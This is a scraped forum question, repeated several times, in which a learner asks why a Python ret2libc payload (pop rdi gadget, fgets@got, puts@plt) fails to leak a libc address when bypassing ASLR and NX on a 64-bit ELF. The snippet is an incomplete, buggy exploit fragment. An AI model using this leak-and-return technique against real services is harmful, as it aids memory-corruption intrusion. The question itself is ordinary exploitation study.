Buffer Overflow leaking libc address
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I'm studying more about memory leak to bypass ASLR + NX through a buffer overflow.
I can understand how it's works but I can not leak the address of a function.
[SUMMARY]
My binary is an ELF 64 bits.
In main( ) i have puts(), printf(), fflush() and a simple buffer overflow with fgets() function.
[DEBUG /GDB]
I can overwrite the RIP and I can see that my instructions are working as my payload below. But I do not see a leak
[MY PAYLOAD]
`junk + gadget (pop rdi; ret) + fgets@got + puts@plt`
I made it this way to leak fgets address.
I put pop rdi; ret because puts needs a single argument, and fgets@plt pop to rdi being this argument.Then following with ret that "call" a puts@plt.
What am I doing wrong?
[REMOTELY]
When trying remotely I'm having problem with python
buf = ' '
buf += struct.pack("<Q", addr_gadgets)
buf += struct.pack("<Q",addr_fgets@got)
buf += struct.pack("<Q", addr_puts@plt)
s.send(buf+"n")
r = s.recv(1024) [-8:]
leak = srtruct.unpack("<Q", r)
print "address leaked", hex(leak[0])
struct.error: unpack requires a string argument of lenght 8
why?
python memory-leaks glibc buffer-overflow libc
asked Nov 22 at 13:50
F33r
11
add a comment |
up vote
-1
down vote
favorite
I'm studying more about memory leak to bypass ASLR + NX through a buffer overflow.
I can understand how it's works but I can not leak the address of a function.
[SUMMARY]
My binary is an ELF 64 bits.
In main( ) i have puts(), printf(), fflush() and a simple buffer overflow with fgets() function.
[DEBUG /GDB]
I can overwrite the RIP and I can see that my instructions are working as my payload below. But I do not see a leak
[MY PAYLOAD]
`junk + gadget (pop rdi; ret) + fgets@got + puts@plt`
I made it this way to leak fgets address.
I put pop rdi; ret because puts needs a single argument, and fgets@plt pop to rdi being this argument.Then following with ret that "call" a puts@plt.
What am I doing wrong?
[REMOTELY]
When trying remotely I'm having problem with python
buf = ' '
buf += struct.pack("<Q", addr_gadgets)
buf += struct.pack("<Q",addr_fgets@got)
buf += struct.pack("<Q", addr_puts@plt)
s.send(buf+"n")
r = s.recv(1024) [-8:]
leak = srtruct.unpack("<Q", r)
print "address leaked", hex(leak[0])
struct.error: unpack requires a string argument of lenght 8
why?
python memory-leaks glibc buffer-overflow libc
asked Nov 22 at 13:50
F33r
11
add a comment |
up vote
-1
down vote
favorite
up vote
-1
down vote
favorite
I'm studying more about memory leak to bypass ASLR + NX through a buffer overflow.
I can understand how it's works but I can not leak the address of a function.
[SUMMARY]
My binary is an ELF 64 bits.
In main( ) i have puts(), printf(), fflush() and a simple buffer overflow with fgets() function.
[DEBUG /GDB]
I can overwrite the RIP and I can see that my instructions are working as my payload below. But I do not see a leak
[MY PAYLOAD]
`junk + gadget (pop rdi; ret) + fgets@got + puts@plt`
I made it this way to leak fgets address.
I put pop rdi; ret because puts needs a single argument, and fgets@plt pop to rdi being this argument.Then following with ret that "call" a puts@plt.
What am I doing wrong?
[REMOTELY]
When trying remotely I'm having problem with python
buf = ' '
buf += struct.pack("<Q", addr_gadgets)
buf += struct.pack("<Q",addr_fgets@got)
buf += struct.pack("<Q", addr_puts@plt)
s.send(buf+"n")
r = s.recv(1024) [-8:]
leak = srtruct.unpack("<Q", r)
print "address leaked", hex(leak[0])
struct.error: unpack requires a string argument of lenght 8
why?
python memory-leaks glibc buffer-overflow libc
asked Nov 22 at 13:50
F33r
11
I'm studying more about memory leak to bypass ASLR + NX through a buffer overflow.
I can understand how it's works but I can not leak the address of a function.
[SUMMARY]
My binary is an ELF 64 bits.
In main( ) i have puts(), printf(), fflush() and a simple buffer overflow with fgets() function.
[DEBUG /GDB]
I can overwrite the RIP and I can see that my instructions are working as my payload below. But I do not see a leak
[MY PAYLOAD]
`junk + gadget (pop rdi; ret) + fgets@got + puts@plt`
I made it this way to leak fgets address.
I put pop rdi; ret because puts needs a single argument, and fgets@plt pop to rdi being this argument.Then following with ret that "call" a puts@plt.
What am I doing wrong?
[REMOTELY]
When trying remotely I'm having problem with python
buf = ' '
buf += struct.pack("<Q", addr_gadgets)
buf += struct.pack("<Q",addr_fgets@got)
buf += struct.pack("<Q", addr_puts@plt)
s.send(buf+"n")
r = s.recv(1024) [-8:]
leak = srtruct.unpack("<Q", r)
print "address leaked", hex(leak[0])
struct.error: unpack requires a string argument of lenght 8
why?
python memory-leaks glibc buffer-overflow libc
python memory-leaks glibc buffer-overflow libc
asked Nov 22 at 13:50
F33r
11
asked Nov 22 at 13:50
F33r
11
asked Nov 22 at 13:50
F33r
11
asked Nov 22 at 13:50
F33r
11
asked Nov 22 at 13:50
F33r
11
11
add a comment |
add a comment |
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